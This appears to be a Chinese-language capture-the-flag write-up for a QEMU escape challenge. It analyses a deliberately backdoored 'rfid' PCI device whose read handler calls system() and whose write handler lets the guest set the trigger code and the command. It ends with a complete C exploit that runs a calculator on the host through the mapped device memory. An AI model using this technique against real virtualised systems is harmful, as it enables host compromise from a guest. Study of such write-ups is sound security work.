QEMU Escape in Cloud Security Game

Description

1
2
3
4
5
6
启动方式
cd ~/appendix/
socat tcp-l:6688,fork exec:./launch.sh,reuseaddr
攻击效果
连接6688端口,利用qemu漏洞逃逸,在宿主机上起一个计算器
上台展示IP:10.66.21.4

Analyze

qemu启动脚本:

1
2
3
4
5
6
7
8
9
#!/bin/sh
./qemu-system-x86_64 \
-initrd ./initramfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 64M --nographic \
-L pc-bios \
-device rfid,id=vda \

看到启动过程特意指定device->rfid
在qemu-system-x86_64中找到rfid实现部分
strings时发现了有趣的位置:

1
/home/wang/qemu/hw/misc/myrfid.c

可以看到这里是在qemu/hw/misc/下实现了rfid设备的读写以及初始化操作,由此根据函数中由object_class_dynamic_cast_assert调用的字符串以及此类device在qemu中的固定实现即可恢复一些关键符号:

1
2
3
4
5
6
7
8
9
10
.data.rel.ro:0000000000FE9720 option_rw       dq offset rfid_read     ; DATA XREF: rfid_realize+111↑o
.data.rel.ro:0000000000FE9728 dq offset rfid_write
.data.rel.ro:0000000000FE9730 align 80h
.data.rel.ro:0000000000FE9780 off_FE9780 dq offset aRfid ; DATA XREF: sub_571438+4↑o
.data.rel.ro:0000000000FE9780 ; "rfid"
.data.rel.ro:0000000000FE9788 dq offset aPciDevice_41 ; "pci-device"
.data.rel.ro:0000000000FE9790 dq offset stru_1B30
.data.rel.ro:0000000000FE9798 dq offset rfid_instance_init
.data.rel.ro:0000000000FE97A0 align 40h
.data.rel.ro:0000000000FE97C0 dq offset rfid_class_init

function
很明显在rfid进行读操作时存在后门:

1
2
3
4
5
6
7
8
9
10
11
12
signed __int64 __fastcall rfid_read(__int64 a1, unsigned __int64 a2)
{
size_t v2; // rax

if ( ((a2 >> 20) & 0xF) != 15 )
{
v2 = strlen(magic_code);
if ( !memcmp(code, magic_code, v2) )
system(command);
}
return 0x42066LL;
}

可以看到此处我们需要使code与magic_code相同并覆盖command而后通过读操作来达到escape:

1
2
3
.data:00000000010CC100 magic_code      dq offset aWwssadadbaba ; DATA XREF: rfid_read+47↑r
.data:00000000010CC100 ; rfid_read+59↑r
.data:00000000010CC100 ; "wwssadadBABA"

而在rfid的写操作中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
void *__ptr32 *__fastcall rfid_write(__int64 a1, unsigned __int64 haddr, __int64 value, unsigned int size)
{
void *__ptr32 *result; // rax
char n[12]; // [rsp+4h] [rbp-3Ch]
unsigned __int64 v6; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
int v8; // [rsp+2Ch] [rbp-14h]
int v9; // [rsp+30h] [rbp-10h]
int v10; // [rsp+34h] [rbp-Ch]
__int64 v11; // [rsp+38h] [rbp-8h]
__int64 savedregs; // [rsp+40h] [rbp+0h]

v7 = a1;
v6 = haddr;
*(_QWORD *)&n[4] = value;
v11 = a1;
v8 = (haddr >> 20) & 0xF;
v9 = (haddr >> 16) & 0xF;
result = off_9BC9B8;
switch ( (unsigned int)&savedregs )
{
case 0u:
if ( v9 >= 0 && v9 <= 15 )
{
result = (void *__ptr32 *)code;
code[v9] = 119;
}
break;
case 1u:
if ( v9 >= 0 && v9 <= 15 )
{
result = (void *__ptr32 *)code;
code[v9] = 115;
}
break;
case 2u:
if ( v9 >= 0 && v9 <= 15 )
{
result = (void *__ptr32 *)code;
code[v9] = 97;
}
break;
case 3u:
if ( v9 >= 0 && v9 <= 15 )
{
result = (void *__ptr32 *)code;
code[v9] = 100;
}
break;
case 4u:
if ( v9 >= 0 && v9 <= 15 )
{
result = (void *__ptr32 *)code;
code[v9] = 65;
}
break;
case 5u:
if ( v9 >= 0 && v9 <= 15 )
{
result = (void *__ptr32 *)code;
code[v9] = 66;
}
break;
case 6u:
v10 = (unsigned __int16)v6;
result = (void *__ptr32 *)memcpy(&command[(unsigned __int16)v6], &n[4], size);
break;
default:
return result;
}
return result;
}

可以看到这里我们可以通过控制haddr和value来改写code和command,而haddr在虚拟机内部可控,只需先在虚拟机内部打开设备并映射到虚拟地址即可,进行读写操作时,对应虚拟地址空间的偏移即为设备对应的物理地址haddr

Exploit

启动虚拟机后先查看当前存在的pci设备

1
2
3
4
5
6
7
8
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 0420:1337

在rfid设备的class_init函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const char ***__fastcall rfid_class_init(__int64 a1)
{
const char ***result; // rax

result = object_class_dynamic_cast_assert(
(const char ***)a1,
(const char **)"pci-device",
(__int64)"/home/wang/qemu/hw/misc/myrfid.c",
0x171u,
(__int64)"rfid_class_init");
result[22] = (const char **)rfid_realize;
result[23] = 0LL;
*((_WORD *)result + 104) = 0x420;
*((_WORD *)result + 105) = 0x1337;
*((_BYTE *)result + 212) = 0x69;
*((_WORD *)result + 107) = 0xFF;
return result;
}

可以看到rfid对应设备为00:04.0,打开其中的resource0(对应rfid设备的可映射内存空间),而后根据上面的分析进行写操作布置好code和command,而后进行一次读操作触发system(command)即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>

int fd;
char* base_addr;

void magic_write(size_t opt1,size_t opt2,size_t offset,char value){
long final_op=(opt1 << 20) | (opt2 << 16) | offset;
*(base_addr+final_op)=value;
}
//wwssadadBABA
void write_code(){
magic_write(0,0,0,0);
magic_write(0,1,0,0);
magic_write(1,2,0,0);
magic_write(1,3,0,0);
magic_write(2,4,0,0);
magic_write(3,5,0,0);
magic_write(2,6,0,0);
magic_write(3,7,0,0);
magic_write(5,8,0,0);
magic_write(4,9,0,0);
magic_write(5,10,0,0);
magic_write(4,11,0,0);
}

void write_command(char* command){
size_t len=strlen(command);
for(int i=0;i<len;i++){
magic_write(6,0,i,command[i]);
}
}


int main()
{
puts("[+] Init device");
fd=open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR|O_SYNC);
base_addr = mmap(0,0x1000000,PROT_READ|PROT_WRITE,MAP_SHARED,fd, 0);
printf("device mmap addr=0x%llx\n",base_addr);
puts("[+] Write magic_code");
write_code();
puts("[+] Write command");
char *commend="gnome-calculator";
write_command(commend);
puts("[+] Escape");
char kirin=*base_addr;
return 0;
}
//gcc ./exp.c -o exp --static

Escape successfully:
PWN